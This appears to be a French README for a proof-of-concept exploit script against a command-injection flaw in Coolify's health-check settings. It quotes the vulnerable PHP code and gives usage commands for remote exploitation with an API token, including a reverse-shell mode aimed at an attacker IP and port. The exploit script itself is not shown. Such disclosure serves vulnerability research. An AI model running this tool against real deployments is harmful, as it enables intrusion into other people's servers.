🎯 À propos de la vulnérabilité

Coolify est une plateforme de déploiement open-source et auto-hébergée très populaire (plus de 30 000 étoiles GitHub) — une alternative gratuite à Heroku, Vercel et Netlify.

Une vulnérabilité critique d'injection de commandes OS a été découverte dans la configuration du health check de Coolify. Les paramètres health_check_host, health_check_method et health_check_path sont directement interpolés dans des commandes shell sans aucun assainissement, permettant à tout utilisateur authentifié d'exécuter des commandes arbitraires dans les conteneurs de déploiement.

┌──────────────────┬──────────────────────────────────────┐
│ CVE ID           │ CVE-2026-59734                       │
│ Type             │ OS Command Injection (CWE-78)        │
│ Severity         │ HIGH — CVSS 8.8                      │
│ Attack Vector    │ Network (Authenticated)              │
│ Affected         │ Coolify <= v4.0.0-beta.460           │
│ Fixed In         │ Coolify >= v4.0.0-beta.469           │
│ Fix Commit       │ 23f9156c7                            │
│ Reporter         │ CyberTechAjju                        │
└──────────────────┴──────────────────────────────────────┘

// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()

// ⚠️ User input directly in shell command — NO escapeshellarg()!
$generated_healthchecks_commands = [
    "curl -s -X {$this->application->health_check_method} -f " .
    "{$this->application->health_check_scheme}://" .
    "{$this->application->health_check_host}:" .
    "{$health_check_port}" .
    "{$this->application->health_check_path} > /dev/null || exit 1",
];

🛠️ Ce que fait cet outil

Ce script PoC valide et exploite CVE-2026-59734 selon deux modes :

Fonctionnalités

• 🧪 4 tests locaux — Valide l'injection via host, method, path + confirme que le correctif escapeshellarg() fonctionne
• 🔑 Validation de l'authentification — Vérifie le jeton API et les permissions avant de tenter l'exploit
• 📋 Détection de version — Détecte la version de Coolify et prévient si le correctif est déjà appliqué
• 🎯 Jetons de preuve — Utilise des jetons uniques pour éviter les faux positifs
• 🐚 Mode reverse shell — Payload de reverse shell intégré avec --lhost / --lport
• 🧹 Mode nettoyage — Restaure la configuration d'origine du health check après l'exploitation
• 🛡️ Vérification de l'injection — Confirme que le serveur a stocké le payload sans assainissement

⚡ Démarrage rapide

Validation locale (sûre et hors ligne)

git clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh

# Run safe local validation
./coolify_healthcheck_rce_poc.sh --local

Sortie attendue :

═══ LOCAL VULNERABILITY PATTERN VALIDATION ═══

┌─ Test 1: health_check_host injection
│  ✅ VULNERABLE — Injected command executed successfully

┌─ Test 2: health_check_method injection
│  ✅ VULNERABLE — Method parameter also injectable

┌─ Test 3: health_check_path injection
│  ✅ VULNERABLE — Path parameter also injectable

┌─ Test 4: Verify that escapeshellarg() fixes the issue
│  ✅ SAFE — Sanitized input prevents injection

Exploitation à distance (tests autorisés uniquement)

# Basic PoC — writes proof file inside the container
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID

# Reverse shell
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID \
  --lhost YOUR_IP \
  --lport 4444

# With auto-cleanup (restores original config after exploit)
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID \
  --cleanup

📋 Toutes les options

Usage:

  Local Validation (safe, offline):
    ./coolify_healthcheck_rce_poc.sh --local

  Remote Exploit (requires auth):
    ./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [OPTIONS]

Options:
  --url       Coolify instance URL (e.g. https://coolify.example.com)
  --token     API Bearer token
  --uuid      Target application UUID
  --payload   Custom injection payload
  --lhost     Attacker IP for reverse shell
  --lport     Attacker port for reverse shell (default: 4444)
  --cleanup   Restore original config after exploit

🔍 Comment obtenir le jeton API et l'UUID de l'application

Jeton API :

1. Connectez-vous au tableau de bord de Coolify
2. Allez dans Settings → API Tokens
3. Générez un nouveau jeton

UUID de l'application :

curl -s https://YOUR-COOLIFY/api/v1/applications \
  -H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'

📖 Article complet

J'ai rédigé un article de blog détaillé expliquant toute la découverte, l'exploitation et les leçons tirées :

🔗 Comment j'ai trouvé une injection de commandes OS (RCE) dans Coolify — Medium

🎥 Vidéo de démonstration

Regardez la démo complète de l'exploitation sur YouTube :

🔗 CVE-2026-59734 — Démo RCE sur Coolify — YouTube

✅ Chronologie